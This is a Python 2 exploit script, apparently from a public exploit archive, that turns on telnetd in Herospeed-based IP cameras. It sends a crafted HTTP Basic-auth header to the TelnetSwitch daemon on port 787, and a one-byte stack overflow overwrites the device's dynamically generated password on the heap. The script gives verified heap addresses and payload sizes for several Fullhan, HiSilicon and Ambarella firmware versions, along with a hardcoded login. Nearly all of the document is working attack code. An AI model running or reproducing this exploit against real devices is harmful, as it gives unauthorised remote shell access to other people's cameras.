1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 |
#!/usr/bin/env python2.7 # # Herospeed TelnetSwitch daemon running on TCP/787, for allowing enable of the telnetd. # Where one small stack overflow allows us to overwrite the dynamicly generated password and enable telnetd. # # [Verified] # 1) Fullhan IPC FH8830_F22_W_7.1.42.1 # 2) Fullhan FH8830_AR0330_FISHEYE_W_7.1.37.5 # 3) HiSilicon 3518EV200_OV9732_W_7.1.25.1, 3519V100_IMX274_W_7.1.39.3 # 4) Ambarella s2l55m_imx123_W_7.1.25.2, S2E66_IMX178_W_7.1.3.4 # # Author: bashis <mcw noemail eu>, 2018 # import socket import select import sys import argparse import base64 import struct import time # # Validate correctness of HOST, IP and PORT # class Validate: def __init__(self,verbose): self.verbose = verbose # Check if IP is valid def CheckIP(self,IP): self.IP = IP ip = self.IP.split('.') if len(ip) != 4: return False for tmp in ip: if not tmp.isdigit(): return False i = int(tmp) if i < 0 or i > 255: return False return True # Check if PORT is valid def Port(self,PORT): self.PORT = PORT if int(self.PORT) < 1 or int(self.PORT) > 65535: return False else: return True # Check if HOST is valid def Host(self,HOST): self.HOST = HOST try: # Check valid IP socket.inet_aton(self.HOST) # Will generate exeption if we try with DNS or invalid IP # Now we check if it is correct typed IP if self.CheckIP(self.HOST): return self.HOST else: return False except socket.error as e: # Else check valid DNS name, and use the IP address try: self.HOST = socket.gethostbyname(self.HOST) return self.HOST except socket.error as e: return False if __name__ == "__main__": INFO ='\n[Herospeed TelnetSwitch pwn (2018 bashis <mcw noemail eu>)]\n' rhost = '192.168.57.20' # Default Remote HOST rport = 787 # Default Remote PORT BUFFER_SIZE = 1024 try: arg_parser = argparse.ArgumentParser( prog=sys.argv[0], description=('[*] '+ INFO +' [*]')) arg_parser.add_argument('--rhost', required=True, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']') arg_parser.add_argument('--rport', required=False, help='Remote Target HTTP/HTTPS Port [Default: '+ str(rport) +']') args = arg_parser.parse_args() except Exception as e: print INFO,"\nError: {}\n".format(str(e)) sys.exit(1) print INFO if args.rport: rport = int(args.rport) if args.rhost: rhost = args.rhost IP = args.rhost # Check if RPORT is valid if not Validate(True).Port(rport): print "[!] Invalid RPORT - Choose between 1 and 65535" sys.exit(1) # Check if RHOST is valid IP or FQDN, get IP back rhost = Validate(True).Host(rhost) if not rhost: print "[!] Invalid RHOST" sys.exit(1) timeout = 5 socket.setdefaulttimeout(timeout) # # [Payload] # LOGIN = "Lucky787" # Hardcoded login # # Fullhan IPC FH8830_F22_W_7.1.42.1 # Fullhan FH8830_AR0330_FISHEYE_W_7.1.37.5 # PASSWD = "\n\n\n\n\n\n\n\n\n\n\n\n" # Our new password, must be exactly 12 char, and must be '\n' MESSAGE =''+ LOGIN + ':' + PASSWD +'' BASE64_NULL = "A" * 232 # Decoded as 0x00 with base64 decode HEAP_PWD = 0x00016c8c # Start of the dynamicly generated password, located on heap # # HiSilicon 3518EV200_OV9732_W_7.1.25.1 # # PASSWD = "AAAAAAAAAAAA" # Our new password, must be exactly 12 char, and must be 'A' # MESSAGE =''+ LOGIN + ':' + PASSWD +'' # BASE64_NULL = "A" * 364 # Decoded as 0x00 with base64 decode # HEAP_PWD = 0x00016990 # Start of the dynamicly generated password, located on heap # # HiSilicon 3519V100_IMX274_W_7.1.39.3 # # PASSWD = "AAAAAAAAAAAA" # Our new password, must be exactly 12 char, and must be 'A' # MESSAGE =''+ LOGIN + ':' + PASSWD +'' # BASE64_NULL = "A" * 364 # Decoded as 0x00 with base64 decode # HEAP_PWD = 0x000267b0 # Start of the dynamicly generated password, located on heap # # Ambarella s2l55m_imx123_W_7.1.25.2 # # PASSWD = "AAAAAAAAAAAA" # Our new password, must be exactly 12 char, and must be 'A' # MESSAGE =''+ LOGIN + ':' + PASSWD +'' # BASE64_NULL = "A" * 364 # Decoded as 0x00 with base64 decode # HEAP_PWD = 0x00014c3c # Start of the dynamicly generated password, located on heap # # Ambarella S2E66_IMX178_W_7.1.3.4 # # PASSWD = "AAAAAAAAAAAA" # Our new password, must be exactly 12 char, and must be 'A' # MESSAGE =''+ LOGIN + ':' + PASSWD +'' # BASE64_NULL = "A" * 108 # Decoded as 0x00 with base64 decode # HEAP_PWD = 0x00014c68 # Start of the dynamicly generated password, located on heap MESSAGE = base64.b64encode(bytes(MESSAGE)) MESSAGE += BASE64_NULL # # Since the stack overflow writing with only one byte, we need overwrite the password one char at the time (looping twelve times) # for where in range(0, len(PASSWD)): OUT = "GET / HTTP/1.0\nAuthorization: Basic {}{}\n\n".format(MESSAGE,struct.pack('<L',HEAP_PWD)[:3]) print "Writing to: {}".format(hex(HEAP_PWD)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((rhost, rport)) s.send(OUT) time.sleep(0.5) response = s.recv(BUFFER_SIZE).split() HEAP_PWD += 0x1 # Next address on heap if response[1]: if response[1] == "200": print "({}) OK, telnetd should be open!".format(response[1]) break |